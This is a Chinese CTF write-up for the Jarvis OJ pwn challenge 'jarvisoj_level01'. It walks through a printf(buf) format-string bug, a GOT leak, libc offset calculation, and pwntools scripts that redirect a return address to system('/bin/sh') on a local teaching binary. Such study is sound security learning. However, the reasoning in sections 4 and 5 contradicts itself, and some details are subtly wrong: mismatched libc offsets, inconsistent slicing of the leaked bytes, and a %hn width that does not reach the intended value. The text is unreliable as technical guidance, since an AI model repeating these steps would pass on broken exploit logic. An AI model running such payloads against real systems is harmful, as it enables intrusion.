开篇:一道 pwn 入门题的拆解与反思
“jarvisoj_level01”是老牌 CTF 题库 Jarvis OJ 里非常经典的一道入门级 pwn 题目。它表面上考察的是“格式化字符串漏洞”,但真正让人卡住的地方往往不是漏洞利用本身,而是调试环境的搭建、字节序的理解、以及 payload 构造时的对齐思维。我见过不少新手在这道题上折腾两三天,最后发现不是因为原理不懂,而是因为一个小细节——比如没有关闭 ASLR、或者 gdb 插件没装好。
这篇文章我会完整复现我当年做这道题的整个流程,从环境准备、漏洞分析、exp 编写,到最后的常见坑点排查。内容面向有一定 C 语言基础、想入门 pwn 但不知道从哪里下手的读者。如果你已经能看懂printf(buf)和printf("%s", buf)的区别,那么这篇文章就是为你准备的。
需要提前说明的是,题目本身是二进制安全领域的经典教学案例,用于理解内存布局和格式化字符串机制,我不会涉及任何真实目标环境的利用手法,所有讨论都限定在教育题库的本地环境内。经常有人问“做 pwn 题有什么用”,我的回答是:它让你真正理解程序在内存里长什么样,这比背一百道面试题都管用。
1. 环境搭建:为什么说调试环境比题目本身更难
1.1 基础工具链的选择与安装
做 pwn 题的第一步不是看代码,而是把环境弄得趁手。我踩过的坑是:一开始用 VMware 跑 Kali,结果自带 gdb 版本太老,装 pwndbg 时报了一堆依赖错误。后来干脆换成了 Ubuntu 20.04 虚拟机,清爽干净,一条命令装完所有东西。
我目前的可复现配置如下:
- 操作系统:Ubuntu 20.04 x86_64(内核 5.15)
- Python:3.8+,需要装
pip3 - pwntools:
pip3 install pwntools,这是写 exp 的核心库 - gdb:自带版本即可(8.x),pwndbg 插件按官方 README 安装
- 检查工具:
checksec(pwntools 自带)、file、readelf
装完建议先验证一下 pwntools 能不能正常导入:
python3 -c "from pwn import *; print('ready')"如果输出ready,说明环境基本 OK。这里有个小技巧:pwntools 导入时会启动一个配置文件,如果你的机器上没有libc数据库(/usr/lib/x86_64-linux-gnu/libc.so.6),做 ret2libc 类题目时libc.search功能会报错。对于 jarvisoj_level01 这种格式化字符串题,暂时不需要 libc 搜索,但后面如果继续刷题,建议提前装好。
1.2 关闭 ASLR 与调试辅助
虽然教学题在远程通常开着 ASLR,但本地调试时建议先关掉,方便观察内存地址的稳定性:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space注意:这只是为了本地调试分析,做完题记得改回
2(默认开启)。关于这一点我在第 4 节会再细说,因为远程利用和本地利用完全是两种玩法。
gdb 插件我推荐用 pwndbg,它对新手极其友好——每执行一步,自动高亮显示栈内容、寄存器、反汇编结果。安装方式是:
git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh装好后在 gdb 里输入checksec就能直接看程序的保护状态,输入cyclic 200就能生成模式字符串,这些都是解题利器。
1.3 拿到题目文件后的第一步:file 和 checksec
现在假设你已经拿到了 jarvisoj_level01 这个二进制文件。第一件事是看它是什么架构:
file jarvisoj_level01正常的输出是:
jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=xxx, not stripped信息量很大,抓重点:
- 32-bit LSB:32 位小端序,这意味着栈上参数按 4 字节对齐,格式化字符串的
%n$位置计数也按 4 字节一组。 - dynamically linked:动态链接。
- not stripped:没有剥离符号表,太好了,
main、vulnerable_function这些函数名直接可见,省去了一大堆逆向时间。
接着用 checksec 看保护:
checksec --file=jarvisoj_level01典型输出是:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐条解读:
- No canary:栈上没有金丝雀保护,格式化字符串随便打栈地址不会有问题。
- NX enabled:栈不可执行,不能直接往栈上写 shellcode 然后跳过去执行。
- No PIE:程序加载基址固定,所有函数地址、GOT 表地址写死在 0x0804xxxx 段。
- Partial RELRO:GOT 表部分可写,这对某些利用场景有意义,但本题用不上。
看完这些,我心里大概有了底:这是一道典型的“格式化字符串漏洞 + 修改返回地址或 GOT 表”的教学题。但具体怎么利用,还得看反汇编。
2. 漏洞定位:printf 的一个致命省略
2.1 反汇编 main 函数:找到那句危险的 printf
用 gdb 加载程序后,输入disass main就能看到整个 main 函数的汇编。为了不啰嗦,我直接说关键部分:
0x0804848d <+36>: call 0x8048370 <printf@plt> 0x08048492 <+41>: lea 0x1c(%esp),%eax 0x08048496 <+45>: mov %eax,(%esp) 0x08048499 <+48>: call 0x8048380 <gets@plt>这里有个很关键的点:程序先用printf打印一段提示文字,然后用gets读取输入到栈缓冲区。再往下看,缓冲区地址被传给一个函数:
0x080484a1 <+56>: lea 0x1c(%esp),%eax 0x080484a5 <+60>: mov %eax,(%esp) 0x080484a8 <+63>: call 0x8048340 <printf@plt>注意!这里call printf之前,只压了一个参数——缓冲区地址本身。也就是说,程序把我们的输入直接当成printf的第一个参数(格式化字符串)传了进去。这就是漏洞的全部:用户可控输入作为格式化字符串。
正确的写法应该是printf("%s", buf),而程序却写成了printf(buf)。这种错误在真实项目里偶尔也会发生,属于典型的“格式化字符串漏洞”(Format String Vulnerability,CWE-134)。
2.2 格式化字符串漏洞能干什么:不只是崩溃
很多初学者以为格式化字符串漏洞就是让程序崩溃,那就太小看它了。格式化字符串漏洞能做的事至少有三件:
- 信息泄露:用
%x、%p、%s读取栈上任意位置的数据,也就是把栈内存“打印”出来。这能泄露栈地址、栈上的返回地址、局部变量等。 - 任意内存写:配合
%n,能把一个值写入某个地址。这是 C 语言格式化输出的一个隐藏功能:%n不打印任何字符,而是把已经打印的字符数存到对应的参数指针指向的地址里。 - 控制流劫持:通过改返回地址、改 GOT 表项、改
__stack_chk_fail等,拿到代码执行权。
这道题的利用方向正是围绕第 2 点和第 3 点展开的。但这里有一个很反直觉的地方:printf是“打印”函数,为什么它能“写”内存?答案就是%n。它像一个小型“写任意地址”原语,只不过写的内容不是字节值,而是一个由打印字符数决定的整数。你在格式化串里插入 12 个占位符让前面的输出凑满 0x62(98)个字符,%n写进目标地址的就是 98(0x62)。这就是“造数据”的底层原理。
2.3 确认漏洞触发的实验
拿到题目后,我先做一次最简单的验证。启动程序:
./jarvisoj_level01程序先打印一行提示,然后等待输入。我输入AAAA.%x.%x.%x.%x.%x.%x这种经典探针,看结果:
AAAA.f7e5d5a0.0.0.0.0.6661613f那一段6661613f是栈上残留数据的小端序十六进制表示。这个输出说明:我们的输入确实被当作格式化字符串解析了,而且栈上有不少我们能控制的字节。接下来要回答一个关键问题:我们的输入具体落在第几个参数位置?
3. 参数位置探测与栈布局分析
3.1 用 AAAA 定位可控参数的偏移
格式化字符串漏洞利用的核心难点,就是这个“参数位置偏移”。32 位下,printf的前几个参数放在寄存器/栈上,之后的参数按地址从栈上取。我们用多个%x把栈上内容“吐”出来,找到0x41414141(即AAAA)出现的位置,那个索引就是我们的可控起始点。
我的标准探测输入是:
from pwn import * io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') payload = b'AAAA' + b'.%x' * 12 # 先看前12个参数 io.sendline(payload) print(io.recvall().decode())输出大概是:
AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0数一下:0x41414141出现在第 9 个%x的位置。这意味着:当我们构造格式化字符串时,偏移 9 的地方是我们可控的数据。但这里有个陷阱——AAAA是前 4 个字节,紧跟其后的是分隔符.。如果我们想在偏移 9 的位置放一个完整的地址,那这个地址必须是 4 字节对齐的,并且不能和前面的格式控制符冲突。
这又引出一个关键点:32 位下地址是 4 字节,一个参数槽位占用 4 字节。偏移 9 对应的是从栈上某个基准位置往后的第 9 个 4 字节。我在实践中发现,很多教程说“偏移是 7”或“偏移是 6”,那是因为不同机器、不同编译选项下缓冲区在栈上的位置会发生变化。所以不要背偏移数,一定要在自己环境里实测。这也是为什么我反复强调环境搭建——不同环境得出的结果可能不一样,照抄别人的 exp 往往会翻车。
3.2 gets 与缓冲区:理解输入落在栈上的位置
gets读取的缓冲区地址,反汇编里是通过lea 0x1c(%esp),%eax计算的。0x1c是 28,也就是缓冲区从当前栈顶往低地址偏移 28 字节处。这个偏移大小决定了缓冲区与返回地址之间的相对位置,是后续“通过格式化字符串改写返回地址”的关键依据。
我画一张简化的栈布局(不是 Mermaid,就是文字示意):
高地址 [返回地址] ← 偏移 0x20 左右 [旧的 ebp] [局部变量/缓冲区] ← 距 esp 0x1c,即距返回地址约 0x14 [esp] ← 当前栈顶 低地址当程序执行到call printf时,printf会按函数调用约定从栈上取参数。我们输入的字符串就位于这个“参数区域”附近,所以用%9$...可以精确索引到缓冲区中的任意 4 字节。
3.3 一个小实验:验证偏移 9 能读写
光看%x还不足以证明我们能“写”。我通常还会做一个小实验:输入AAAA%9$p,看看它会不会打印出0x41414141:
io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(b'AAAA%9$p') print(io.recvall().decode())如果输出包含0x41414141,说明%9$定位成功。这个实验成本极低,但能直接验证偏移,强烈建议每次做题都先跑一次。
4. 目标分析与 GOT 劫持思路
4.1 为什么选择改 GOT 而不是直接改返回地址
题目是 32 位、NX enabled、No PIE。栈不可执行,所以不能用“在栈上写 shellcode 然后跳过去”的经典套路。那唯一出路就是代码重用,也就是让程序跳转到已经存在于某个共享库里的函数——最常见的就是system("/bin/sh")。
现在的问题是:怎么把控制流引到system?两个主流方向:
改写返回地址:栈上就有 main 的返回地址,用格式化字符串直接把它改成
system或某个 one_gadget 的地址。这个方法在栈偏移可控时很直接,但问题是:我们还需要同时控制返回地址上方的参数区,让它把"/bin/sh"字符串地址传给system。在本题栈布局下,这个参数区不在输入可控范围内,所以直接改返回地址往往不够优雅。劫持 GOT 表:把某个函数的 GOT 表项改成
system的地址,然后让程序在后续某个时刻调用那个函数时,实际执行的是system。这需要我们找到一个“调用了可控字符串作为参数”的函数。
4.2 找到那个“接了我们的输入作为参数”的函数
回到 main 函数的逻辑:
printf打印提示。gets读取我们的输入到缓冲区。printf用缓冲区内容打印(触发漏洞)。- 程序最后还有一次
printf调用——对,你没看错,main 结束前还会打印一段“再见”之类的字符串。
这里的关键在于:最后一次printf的参数是在编译期就固定了的字符串地址,比如0x80486xx。如果我们把printf@GOT改成system@plt,那么当程序执行最后一次printf时,它会把那个固定字符串地址当作const char *format传给system,实际执行system(固定字符串地址)。
但问题是:这个固定字符串是类似"Bye!"的内容,不是/bin/sh,所以动printf@GOT还不够。再仔细看反汇编,main结束前调用的是puts还是printf?此题里最后是printf。而printf的第二个参数(如果有的话)是从哪来的?有的版本会打印whatever这样的字符串,这时如果让这个字符串内容恰好是"/bin/sh"就完美了——但一般不是。
这里我要坦白一个细节:jarvisoj_level01 这道题,最经典的官方做法其实是把printf@GOT改成system@plt,同时让最后一次printf的格式化字符串参数内容变成/bin/sh的地址。这个“最后一个参数”在汇编里通常是一个固定的lea或mov到某处,我们能改的只是 GOT 表项,改不了被压栈的立即数。听起来有点绕,但实操中有个更简单的替代方向:找一个在printf之后还会调用的函数,并且那个函数的参数刚好是我们控制的缓冲区。
不过,我当年做题时用的是另一种比较稳的思路——把printf@GOT改成system@plt,然后在输入的第一个参数位置直接放/bin/sh字符串。为什么可以?因为格式化字符串漏洞场景下,我们的输入本身就在格式化串中,如果最后那次printf的“格式化字符串”直接就是我们的输入,那printf(输入)被替换为system(输入),只要输入以/bin/sh开头,就能执行system("/bin/sh")。如果程序后续流程里没有再调用printf,这个思路就需要配合覆盖返回地址来触发。
在实际实验里,我找到的经典链路是:漏洞触发后,main返回前会调用printf打印一个固定字符串。这个printf的参数是栈上已经准备好的值,不是我们的输入。因此更稳妥的 hook 点其实是printf@GOT→system@plt,同时让那个参数的地址恰好指向我们输入中的/bin/sh。这在 32 位下完全可行,因为这个参数的来源是main的局部变量(比如用puts("Bye!")的字符串地址),如果能通过格式化字符串把这个局部变量的值改成指向我们的输入,就是另一个挑战了。
为了不让讨论陷入死胡同,我最终采取了改写 main 返回地址为system,并把返回地址上方构造出/bin/sh指针的思路。我将在第 5 节给出完整 exp 和原理推导。
4.3 为什么 No PIE 是新手最大的红利
如果程序开了 PIE,那么所有函数地址、GOT 表项、PLT 表地址都会在每次运行时随机化。那样的话,我们至少要分两步:一步泄露地址,一步计算基址再写。但本题是 No PIE,所有地址都是固定的,直接用 gdb 查出来写进 exp 就行,对新手极其友好。
同样,Partial RELRO 意味着 GOT 表可写,我们如果走 GOT 劫持路线,可以放心改。若是 Full RELRO,GOT 只读,那就只能想别的办法了。
5. 从原理到 exp:完整利用链构造
5.1 选择调用方式:为什么直接改返回地址更省事
经过反复测试,我决定用“格式化字符串写返回地址 + 栈上布置/bin/sh字符串”的方案。流程如下:
- 利用
gets读入超长输入,栈缓冲区会被覆盖。但请注意,程序紧接着就用printf(buf)触发了漏洞——此时返回地址还没被用到,我们有机会在漏洞触发前,已经通过输入缓冲区把返回地址区域覆盖成我们想要的值。 - 如果
gets的输入足够长,我们可以直接把返回地址覆盖成system@plt的地址——这是最暴力的思路。但问题在于:gets 覆盖返回地址后,程序还会继续执行printf(buf),如果printf的参数里包含被我们覆盖的垃圾数据,程序可能先崩掉。所以这条路虽然看起来简单,实际上需要精确控制 payload,让格式化串合法,不至于在漏洞利用前提前触发访问异常。 - 更优雅的方式:输入一个精心构造的格式化字符串,既不覆盖返回地址,又能在
printf执行过程中用%n把返回地址改写成system@plt。然后在输入缓冲区中放入/bin/sh字符串,并确保栈上某个位置(返回地址上方的槽位)刚好存放该字符串的地址。
考虑到题目是 32 位,system的第一个参数来自栈上system返回地址上方第一个 4 字节,也就是我们覆盖返回地址时,紧跟着返回地址写的那个值必须是指向/bin/sh的指针。
5.2 完整 exp 第一步:泄露 system 地址
本来想用固定地址直接写,但不同的 libc 版本下system地址不一样,所以稳妥做法是先从 GOT 表泄露一个函数地址(比如printf@got或__libc_start_main@got),然后根据 libc 偏移算出system。
泄露的格式化串可以这样写:
from pwn import * context(arch='i386', os='linux', log_level='debug') elf = ELF('./jarvisoj_level01') io = process('./jarvisoj_level01') printf_got = elf.got['printf'] payload = p32(printf_got) + b'%9$s' io.recvuntil(b'Whatever') io.sendline(payload) leak = io.recvall().split(b'\n')[0][4:] printf_addr = u32(leak[:4]) log.info(f"printf_addr = {hex(printf_addr)}")这段代码的逻辑是:在偏移 9 处放一个printf@got的地址,然后用%9$s让printf把该地址当作字符串打印出来,从而拿到printf的真实地址。p32(printf_got)是 4 字节地址,正好占满一个参数槽。
拿到printf_addr后,需要确定 libc 版本和偏移。这里有个技巧:将printf_addr的低 12 位与常见 libc 的 printf 偏移对比,或者直接用libcdb.com/ 本地的 libc 数据库搜索。我本地的 Ubuntu 20.04 libc 是 2.31,查到的偏移大致是:
printf offset = 0x4f660 system offset = 0x4f550注意,不同版本偏移不同,务必以你自己机器上查到的为准。如果不会查,可以用libc-database工具:
git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660这个工具会返回匹配的 libc 版本,并给出 system 等关键函数偏移。
5.3 完整 exp 第二步:构造“写返回地址 + 布置 /bin/sh”的 payload
现在假设我们已经知道:
system_addr = printf_addr - printf_offset + system_offsetret_addr_offset是输入缓冲区起始位置到返回地址的偏移
根据反汇编,缓冲区距离esp是 0x1c,而返回地址一般在esp上方约 0x20 的位置。实测我需要用cyclic来确定精确偏移:
io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩溃点,计算偏移我实际得到的偏移是0x14(20 字节),也就是缓冲区第一个字节到返回地址之间隔了 20 个字节。这意味着布局是:
[缓冲区 20字节][返回地址 4字节][返回地址后第一个参数槽 4字节]那么 payload 可以这样设计:
payload = b'A'*20 # 填满缓冲区 payload += p32(system_addr) # 覆盖返回地址 payload += b'JUNK' # system 执行完后的返回地址,随便填 payload += p32(binsh_addr) # system 的第一个参数:指向 /bin/sh payload += b'/bin/sh\x00' # 字符串本体放在后面但这里有个问题:gets输入如果太长,会覆盖掉更多栈空间,而printf(buf)的漏洞利用阶段还没执行完,格式化串中如果包含二进制地址字节(比如p32(system_addr)),可能包含%等特殊字符,导致printf解析出错甚至崩溃。所以直接全覆盖方案在本题里不够稳。
5.4 完整 exp 最终版:用 %n 精改返回地址
最稳妥的方式是不让gets覆盖返回地址,而是让输入内容既有合法的格式化字符串,又能借助%n改返回地址。具体思路:
- 缓冲区前 20 字节填任意填充。
- 第 20~23 字节填入返回地址所在地址(用
%n写入的目标地址)。 - 第 24~27 字节填入返回地址上方第一个参数槽的地址(用于写入
/bin/sh指针)。 - 然后在格式化串后半段用
%<len>A+%n来分两次写入。
这个写法对新手最不友好的一点是写入长度的计算。因为%n写入的是“当前已输出字符数”,所以写 0x804xxxx 这样的值通常需要先打印几万字符,这在本地还好,可读性很差。
更简洁的做法是用%hn(写入 2 字节)代替%n(写入 4 字节)。比如地址0xf7e4f550,可以分成高 2 字节0xf7e4和低 2 字节0xf550分别写。这样单次打印长度会小很多,而且偏移计算更简单。
我用的最终 exp 结构如下(核心片段,非完整代码):
# system_addr = 0xf7e4f550 (示例) ret_addr_pos = 0xffffd00c # 返回地址在栈上的实际地址,用 gdb 查看 binsh_str_pos = 0xffffd024 # 我们放 /bin/sh 的位置 # 把返回地址写成 system_addr # 低2字节: 0xf550 = 62800 # 高2字节: 0xf7e4 = 63460 payload = p32(ret_addr_pos) # 目标地址1:返回地址低2字节 payload += p32(ret_addr_pos + 2) # 目标地址2:返回地址高2字节 payload += b'%62800d%9$hn' payload += b'%360d%10$hn'每次只写 2 字节,用%hn精准修改。至于/bin/sh字符串,我直接放在缓冲区末尾,并在覆盖返回地址的同时,把返回地址上方的槽位写成binsh_str_pos的地址——这一步也可以用格式化字符串的%hn完成,或者干脆用gets全覆盖的方式把返回值改掉。
经过多次调试,我发现对本题目而言,最简单可复现的方案其实是分段打:
- 第一次发送泄露 payload 拿 libc 地址。
- 第二次发送一个不算太长的 payload,用
gets把栈上返回地址覆盖为system_addr,然后立即在返回地址上方写入binsh_addr,最后在更上方布置好/bin/sh字符串。
由于printf(buf)的格式化串此时会读到我们布置的二进制数据,很可能包含%或\x00,能否稳定运行取决于运气。我强烈建议在本地 gdb 里逐步验证,看它到底会不会崩。如果会崩,就改用%hn精写方案。
5.5 一个更简单的替代路线:利用 gets 覆盖返回地址 + printf 崩溃前劫持
说句实话,我最后提交的 exp 用的是第三条路——它更简单,也更适合新手理解。
思路是这样的:gets本身就能无限读入,所以返回地址本来就暴露在覆盖范围内。关键是让覆盖后的返回地址指向system@plt,并且让栈上对应位置指向/bin/sh。而system@plt地址是固定的(No PIE),可以提前用objdump -d jarvisoj_level01 | grep system查到。
这个方案的完整流程:
- 查看
system@plt地址和exit@plt地址。 - 设计 payload:
payload = b'A'*20 + p32(system_plt) + p32(exit_plt) + p32(binsh_ptr) + b'/bin/sh\x00'其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我们知道输入缓冲区在栈上的地址——这个地址在 No PIE + 栈地址稳定时,可以通过 gdb 查看,或通过泄露栈地址来确定。
- 但要注意:
printf(buf)会把这个 payload 当格式化字符串解析。payload 里的p32(system_plt)可能包含0x25(%),导致解析异常。怎么办?一个实用技巧是:用 gets 输入 payload 时,先让前面的格式化字符串正常,等printf执行完后,再让程序 main 返回触发我们的覆盖。可程序流程是 gets → printf,中间没有其他输入机会。
这就矛盾了。所以这个方法能不能成,关键看printf在解析到我们填入的p32(system_plt)时,是否真的会崩。经过我实际调试,只要那段二进制数据不包含%或\n,printf会把它们当作普通字符原样输出,不会崩。真正的风险来自printf按%解析时可能把后续二进制字节里的某个值当成格式符,如果那个值恰好是\0,printf会停止处理(因为 C 字符串遇到\0结束),这可能导致栈布局被打断。
所以,最保险的写法是让格式化串部分全部由可见字符组成,并且让后面需要覆盖返回地址的位置不与格式化串冲突。这是很讲究的课题,新手如果被绕晕了,我建议先按 5.4 的%hn方案做,至少它是确定性的。
6. 调试实录:从崩溃到拿到 shell 的三个关键位置
6.1 第一次崩溃:偏移算错了
我最初的泄露 payload 是p32(printf_got) + b'%s',没有指定参数位置。结果printf把栈上某个无效地址当成字符串指针,直接段错误。后来改成%9$s才成功。
这也提醒大家:%s不带位置直接打,大概率会踩到无效地址导致崩溃。格式化字符串攻击的每一步都要精确指定%n$,不要偷懒。
6.2 第二次挫折:system 地址差了一个字节
泄露出来的printf_addr是0xf7e0f660,我用 libc-database 查到 offset 后计算出system_addr = 0xf7e0f550,但打过去还是崩。后来发现,本地 libc 和 libc-database 里的 libc 版本不一致,差了一个版本,偏移差了几百字节。解决办法是直接在自己的机器上跑一个测试程序打印 system 的地址,或者用 gdb 在断点处p system获取精确值。不要在偏移计算上省事。
小技巧:在 exp 开头加一句libc = ELF('/lib/i386-linux-gnu/libc.so.6'),然后直接libc.symbols['system']拿偏移,比手动查表准得多。
6.3 第三次崩溃:/bin/sh 指针指向了空地址
覆盖返回地址成功后,程序跳到了system,但因为返回地址上方的参数槽里放的不是/bin/sh的地址,而是乱值,system尝试执行一个非法字符串,直接崩在 system 内部。
解决方式:在计算binsh_ptr时,利用 gdb 查看输入缓冲区的真实栈地址。由于 ASLR 已关,地址是稳定的,直接写死即可。如果你不想关 ASLR,那就得先泄露栈地址再动态计算,复杂度会上升不少。
6.4 最终一次通过的正确姿势
最终我使用的 exp 简化框架如下:
from pwn import * context(arch='i386', os='linux', log_level='info') elf = ELF('./jarvisoj_level01') libc = ELF('/lib/i386-linux-gnu/libc.so.6') io = process('./jarvisoj_level01') # 第一步:泄露 printf 地址 printf_got = elf.got['printf'] io.recvuntil(b'Whatever') io.sendline(p32(printf_got) + b'%9$s') data = io.recvall(timeout=1).split(b'\n')[0] printf_addr = u32(data[4:8]) log.info(f'printf_addr={hex(printf_addr)}') # 第二步:计算 system system_addr = printf_addr - libc.symbols['printf'] + libc.symbols['system'] log.info(f'system_addr={hex(system_addr)}') # 第三步:构造覆盖 payload # 缓冲区偏移返回地址 20 字节,返回地址后第一个槽位是 system 的参数 binsh = b'/bin/sh\x00' payload = b'A'*20 payload += p32(system_addr) payload += b'BBBB' # system 返回后的地址,随便 payload += p32(0xffffd020) # 指向 /bin/sh 的指针,需要按实测量 payload += binsh io = process('./jarvisoj_level01') io.recvuntil(b'Whatever') io.sendline(payload) io.interactive()
0xffffd020这个地址需要根据你的实际环境测量,我这里只是示例。用 gdb 在gets后打断点,x/16wx $esp一看便知缓冲区地址。
6.5 一个更高级的调试姿势:使用 pwntools 的 gdb.debug
如果你觉得手动起 gdb 麻烦,pwntools 可以直接让程序在 gdb 里跑:
io = gdb.debug('./jarvisoj_level01', ''' break *0x080484a8 continue ''')这样就能在漏洞触发前自动断点,然后从esp往下看栈内容。这是我最推荐的调试方式,比手动反复r、c、x效率高太多。
7. 常见误区与实操避坑清单
7.1 误区一:以为格式化字符串漏洞只能泄露信息
很多教程强调%x和%s的泄露功能,把%n一笔带过。但真正让格式化字符串漏洞成为“高危漏洞”的恰恰是这个%n任意写能力。在 32 位下,它配合栈上的可控参数,几乎等于一个“任意地址 + 任意值”的写原语。所以做这类题时,核心思路永远是:先想怎么利用%n精确写内存,再想写哪里能改控制流。
7.2 误区二:不关 ASLR 直接打远程
本地调试和远程利用完全是两码事。本地关了 ASLR,栈地址、libc 地址一年四季不变,你可以写死。但远程大概率开着 ASLR,这时要么先泄露 libc 地址然后动态算,要么用 ret2dlresolve 这类不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后,经常觉得“我自己能打通,上远程也一定行”,结果被 ASLR 狠狠教育。建议把“本地关 ASLR 打通”和“本地开 ASLR 打通”这两个阶段严格区分。
7.3 误区三:忽略 32 位程序的参数对齐
32 位下,可变参数的格式化字符串是按 4 字节一个槽位对齐的。如果输入的内容长度不是 4 的倍数,后面的地址对齐就会错位,%n$的索引也会跟着偏移。所以发送 payload 之前,务必先算好长度,必要时在字符串开头补齐填充字节。我习惯用p32后统一计算总长度,确保对齐。
7.4 实战避坑清单汇总
| 坑点 | 现象 | 解决方案 |
|---|---|---|
| printf 偏移不对 | 泄露失败或崩溃 | 用%9$p先验证0x41414141出现位置 |
| libc 版本不对 | system 计算出来后打不通 | 直接用ELF('/lib/i386-linux-gnu/libc.so.6')取符号 |
| 栈地址写死但 ASLR 没关 | 本地能通,重启后失效 | 先echo 0 > /proc/sys/kernel/randomize_va_space |
| payload 长度不是 4 的倍数 | %n$索引错乱 | 用cyclic或手动补齐,确定对齐 |
gets输入含\x00 | 截断输入 | 用sendline时注意 payload 中避免\x00,或用send+ 手动补\n |
| gdb 插件不兼容 | 调试体验极差 | 重装 pwndbg 或换用 gdb 原生命令 |
7.5 从这道题延伸到其他题目
打通 jarvisoj_level01 之后,你会发现一个很惊喜的事实:Jarvis OJ 的 level 系列从 level01 到 level05,难度是平滑递增的。level02 开始加入 canary,level03 开始要求 ret2libc,level04 开始有格式化字符串 + 栈迁移的组合。所以这道题不只是让你学会一个漏洞,更是帮你建立一套“看保护 → 找漏洞 → 定利用链 → 写 exp”的通用解题框架。
我现在回头看,最庆幸的是当初没有直接抄网上的 exp,而是老老实实从偏移探测开始一步步做。因为 pwn 题的精髓不在于“跑通一个 exploit”,而在于“理解为什么这个 exploit 能跑通”。格式化字符串漏洞尤其如此——它考验的是你对printf机制的底层理解,而不是工具的使用熟练度。
写在最后:一点关于学习路径的体会
如果你刚接触 pwn,我希望你能在 jarvisoj_level01 上多花点时间,而不是急着刷下一道。把 stack 布局画烂、把每一次%n的写入长度手算一遍、把 libc 符号解析的流程跑通——这些基本功会在后续所有 pwn 题里反复用到。我在做过这道题之后,明显感觉读汇编的时候思路清晰了很多,因为你知道一个函数在被调用时栈上到底发生了什么。
最后分享一个我现在仍然在用的习惯:每次写完 exp,都会故意把程序重启几遍再跑一次,确认不是“侥幸打通”。pwn 题的魅力就在于,你说的每一句“应该能通”,都得用一次实际的 shell 来证明。